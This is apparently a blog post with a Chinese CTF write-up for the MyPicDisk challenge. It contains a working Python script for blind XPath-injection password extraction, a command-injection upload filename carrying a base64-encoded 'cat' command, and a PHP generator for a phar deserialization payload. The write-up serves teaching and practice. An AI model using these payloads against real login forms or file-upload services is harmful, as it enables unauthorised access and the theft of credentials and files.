2025-08-24-每日一题

[DASCTF 2023 & 0X401七月暑期挑战赛]MyPicDisk

练***e盲注
打开题目要求登录
首先想的是万能密码注入admin' or 1=1#
可以登陆,但似乎不是admin
图片
抓包再看看
图片
可下载zip,有index.php

点击查看代码
<?php
session_start();
error_reporting(0);
class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        if (preg_match("/\//i", $filename)){
            throw new Error("hacker!");
        }
        $num = substr_count($filename, ".");
        if ($num != 1){
            throw new Error("hacker!");
        }
        if (!is_file($filename)){
            throw new Error("???");
        }
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }
    public function remove(){
        unlink($this->filename);
    }
    public function show()
    {
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
        system("ls -all ".$this->filename);
    }
}
?>
PHP代码分析

FILE类在析构函数__destruct()中使用system("ls -all ".$this->filename)执行系统命令,由于$this->filename来自用户输入且构造函数中的检查不充分,存在命令注入漏洞。构造函数检查文件名不能包含斜杠、必须恰好有一个点,且文件必须存在,但允许文件名中包含空格、分号等特殊字符,因此可以通过构造文件名实现命令注入。

而这里

点击查看代码
if($_POST['submit']){
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
      echo '登录失败';
    }else{
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
  }

其中重要代码$x_query="/accounts/user[username='{$username}' and password='{$password}']";构建一个XPath查询语句,用于在XML文件中查

这里就有个新知识,xxe盲注

上payload

点击查看代码
import requests
import time
url ='http://4c3ee25c-b961-4c95-be55-cfea4e297b73.node5.buuoj.cn:81/index.php'


strs ='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'


flag =''
for i in range(1,100):
    for j in strs:
        #猜测根节点名称 #accounts
        # payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j),"password":123}
        # payload_username ="<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j)

        #猜测子节点名称 #user
        # payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
        # payload_username ="<username>'or substring(name(/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j)



        #猜测accounts的节点
        # payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        # payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码 #admin #003d7628772d6b57fec5f30ccbc82be1
        # payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}'  or ''='".format(i,j)、
        # payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)


        payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)
        data={
            "username":payload_username,
            "password":123,
            "submit":"1"
        }


        print(payload_username)
        r = requests.post(url=url,data=data)
        time.sleep(0.1)
        # print(r.text)


        if "登录成功" in r.text:
            flag+=j
            print(flag)
            break

    if "登录失败" in r.text:
        break

print(flag)

图片

图片
得到密码15035371139
直接登录admin/15035371139

是一个文件上传页面

我们从代码中得知

点击查看代码
public function __destruct(){
        system("ls -all ".$this->filename);
    }

我们可以字符串拼接执行命令

bp抓包,改上传文件名为

点击查看代码
;`echo Y2F0IC9hZGphcyo= | base64 -d`;1.jpg

图片

图片

之后在访问?file=上传文件名
图片
拿到flag

当然还有一种做法
利用phar反序列化
代码中这段存在反序列化漏洞

点击查看代码
if ($_GET['todo'] === "md5"){
	echo md5_file($filename);
}

我们可以创建phar文件修改后缀,然后再file读取(todo参数值为md5)

payload

点击查看代码
<?php

class FILE{
    public $filename=';cat /adj*';
    public $lasttime;
    public $size;
    
}
$a=new FILE();
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

生成1.phar后上传在抓包
要改成后缀是jpg的格式
图片

最后访问?file=phar://phar.jpg&&todo=md5

拿到flag
图片

posted @ 2025-08-25 00:58  xinghe123*  阅读(2)  评论(0)    收藏  举报